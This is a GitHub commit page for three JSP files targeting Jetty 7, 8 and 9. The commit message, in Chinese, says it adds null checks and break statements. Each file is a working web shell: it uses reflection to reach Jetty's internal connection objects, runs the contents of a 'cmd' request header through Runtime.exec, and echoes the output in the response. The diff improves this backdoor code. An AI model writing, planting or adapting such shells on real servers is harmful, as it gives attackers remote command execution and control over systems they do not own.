Skip to content

Commit e755a08

Browse files
author
feihong
committed
增加空指针/空字符判断,增加break语句
1 parent 68edac7 commit e755a08

File tree

3 files changed

+42
-30
lines changed

3 files changed

+42
-30
lines changed

Jetty/code/jetty789Echo.jsp

Lines changed: 21 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -24,14 +24,17 @@
2424
obj = method.invoke(connection, null);
2525
2626
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
27-
obj = method.invoke(obj, new Object[]{"cmd"});
27+
String cmd = (String)method.invoke(obj, new Object[]{"cmd"});
2828
29-
String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next();
29+
if(cmd != null && !cmd.isEmpty()){
30+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
3031
31-
method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class});
32-
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{"utf-8"});
33-
printWriter.println(res);
32+
method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class});
33+
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, new Object[]{"utf-8"});
34+
printWriter.println(res);
35+
}
3436
37+
break;
3538
}else if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
3639
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null);
3740
Object httpChannel = method.invoke(obj, null);
@@ -40,16 +43,19 @@
4043
obj = method.invoke(httpChannel, null);
4144
4245
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
43-
obj = method.invoke(obj, new Object[]{"cmd"});
44-
45-
String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next();
46-
47-
method = httpChannel.getClass().getMethod("getResponse", null);
48-
obj = method.invoke(httpChannel, null);
49-
50-
method = obj.getClass().getMethod("getWriter", null);
51-
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);
52-
printWriter.println(res);
46+
String cmd = (String)method.invoke(obj, new Object[]{"cmd"});
47+
if(cmd != null && !cmd.isEmpty()){
48+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
49+
50+
method = httpChannel.getClass().getMethod("getResponse", null);
51+
obj = method.invoke(httpChannel, null);
52+
53+
method = obj.getClass().getMethod("getWriter", null);
54+
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);
55+
printWriter.println(res);
56+
}
57+
58+
break;
5359
}
5460
}
5561
%>

Jetty/code/jetty78Echo.jsp

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,13 +22,16 @@
2222
obj = method.invoke(connection);
2323
2424
method = obj.getClass().getMethod("getHeader", String.class);
25-
obj = method.invoke(obj, "cmd");
25+
String cmd = (String)method.invoke(obj, "cmd");
26+
if(cmd != null && !cmd.isEmpty()){
27+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
2628
27-
String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next();
29+
method = connection.getClass().getMethod("getPrintWriter", String.class);
30+
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8");
31+
printWriter.println(res);
32+
}
2833
29-
method = connection.getClass().getMethod("getPrintWriter", String.class);
30-
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8");
31-
printWriter.println(res);
34+
break;
3235
}
3336
}
3437
%>

Jetty/code/jetty9Echo.jsp

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -24,16 +24,19 @@
2424
obj = method.invoke(httpChannel);
2525
2626
method = obj.getClass().getMethod("getHeader", String.class);
27-
obj = method.invoke(obj, "cmd");
28-
29-
String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next();
30-
31-
method = httpChannel.getClass().getMethod("getResponse");
32-
obj = method.invoke(httpChannel);
33-
34-
method = obj.getClass().getMethod("getWriter");
35-
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj);
36-
printWriter.println(res);
27+
String cmd = (String)method.invoke(obj, "cmd");
28+
if(cmd != null && !cmd.isEmpty()){
29+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
30+
31+
method = httpChannel.getClass().getMethod("getResponse");
32+
obj = method.invoke(httpChannel);
33+
34+
method = obj.getClass().getMethod("getWriter");
35+
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj);
36+
printWriter.println(res);
37+
}
38+
39+
break;
3740
}
3841
}
3942
%>

0 commit comments

Comments
 (0)